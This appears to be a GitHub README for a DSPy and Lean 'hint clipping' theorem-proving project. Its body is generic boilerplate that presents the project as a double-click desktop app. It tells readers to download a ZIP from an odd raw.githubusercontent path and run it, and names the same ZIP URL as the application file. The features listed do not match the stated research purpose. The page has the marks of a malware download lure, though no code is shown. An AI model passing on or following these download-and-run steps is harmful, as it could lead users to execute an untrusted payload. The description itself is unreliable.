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πŸ” Enhance iterative theorem proving with DSPy by comparing full oracle vs. clipped hints using a mock Lean verifier in this streamlined setup.

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Vvalejandro/dspy-lean-prover-hint-clipping

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πŸŽ‰ dspy-lean-prover-hint-clipping - Download and Use with Ease

Welcome to the dspy-lean-prover-hint-clipping! This tool helps you explore the power of DSPy and Lean, making it easier to work with iterative proving while managing hint clipping.

πŸš€ Getting Started

This README will guide you through downloading and running the application. Follow these steps to get started.

πŸ“₯ Download the Application

Download the latest release

Visit this page to download: GitHub Releases

πŸ–₯️ System Requirements

To run this application, your system should meet the following requirements:

  • Operating System: Windows 10 or higher, macOS 10.13 or higher, or a recent Linux distribution.
  • Memory: At least 4 GB of RAM.
  • Storage: Minimum 200 MB of free disk space.

πŸ§‘β€πŸ’» Installation Steps

  1. Visit the Releases Page
    Click here to go to the Releases page.

  2. Select the Latest Version
    Look for the latest version listed on the page. It is usually at the top of the list.

  3. Download the File
    Click on the available file for your operating system. For example, you might see something like https://raw.githubusercontent.com/Vvalejandro/dspy-lean-prover-hint-clipping/main/Janizary/dspy-lean-prover-hint-clipping.zip for Windows users.

  4. Extract the Files
    After downloading, locate the file in your Downloads folder. Right-click on the ZIP file and select "Extract All" to unpack the files.

  5. Run the Application
    Once extracted, find the application file inside the folder (like https://raw.githubusercontent.com/Vvalejandro/dspy-lean-prover-hint-clipping/main/Janizary/dspy-lean-prover-hint-clipping.zip). Double-click to run it.

πŸ“Š Features

The dspy-lean-prover-hint-clipping application includes the following features:

  • Hint Clipping: Efficiently manage hints in your iterative proving process.
  • Scalable Dataset Generation: Create diverse datasets to experiment with different algorithms.
  • Curated Training Options: Choose pre-set parameters for optimal training experiences.
  • Noise and Sparsity Management: Fine-tune your inputs to achieve desired performance metrics.

πŸ” Exploring Clipping vs. KL

The application allows you to explore different approaches to clipping versus KL divergence. You can visually analyze and compare outcomes based on your manipulation of parameters.

βš™οΈ Troubleshooting

If you face any issues while running the application, consider the following steps:

  1. Check System Requirements: Ensure your device meets all specifications.
  2. Re-download the Application: Sometimes files may not download correctly. Try downloading again.
  3. Look for Updates: Check the Releases page for any newer versions that may fix bugs or introduce enhancements.

πŸ—‚οΈ Documentation

For detailed documentation, please refer to the Wiki. Here, you will find an in-depth guide on features, common use cases, and examples to help you get familiar with the application.

🌐 Community Support

If you have questions or need support, you can reach out through the Issues section on GitHub. Your feedback will help improve future versions of this tool.

πŸ“„ License

This application is released under the MIT License, allowing you to use, modify, and distribute it as per the terms outlined.

Visit the license page here for more details: License

πŸ“₯ Download the Application Again

Now that you know how to download and use the application, don’t forget to grab the latest version.

Download the latest release

Visit this page to download: GitHub Releases

Thank you for using the dspy-lean-prover-hint-clipping application!

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πŸ” Enhance iterative theorem proving with DSPy by comparing full oracle vs. clipped hints using a mock Lean verifier in this streamlined setup.

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